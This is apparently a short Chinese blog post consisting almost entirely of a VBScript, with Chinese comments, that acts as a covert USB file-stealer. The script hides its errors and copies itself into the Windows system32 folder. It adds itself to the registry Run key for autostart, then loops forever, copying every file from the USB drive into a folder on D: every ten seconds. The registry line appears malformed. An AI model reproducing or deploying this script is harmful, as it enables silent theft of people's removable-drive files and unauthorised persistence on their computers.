On Error Resume Next '容错语句
Set fso=CreateObject("Scripting.FileSystemObject") '建立fso对象
dim n
Set n=CreateObject("Wscript.Shell")
Set dir=fso.GetSpecialFolder(1) '读取C:\windows\system32目录
fso.GetFile(WScript.ScriptingFullName).Copy(dir&"\copy.vbs") '把自己复制到C:\windows\system32
dim r
Set r=CreateObject("Wscript.Shell") 'r用于写注册表
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" '加入自启动项
fso.CreateFolder("D:\biweilun's Files") '建立文件夹,用于存放U盘文件
for i=1 To 2
i=1 '这里是关键所在,写一个死循环
fso.CopyFile "h:\*.*","D:\biweilun's Files",True '复制文件,U盘为h盘
wscript.sleep 10000 '脚本挂起10秒,10000毫秒
next
二月
19
发表评论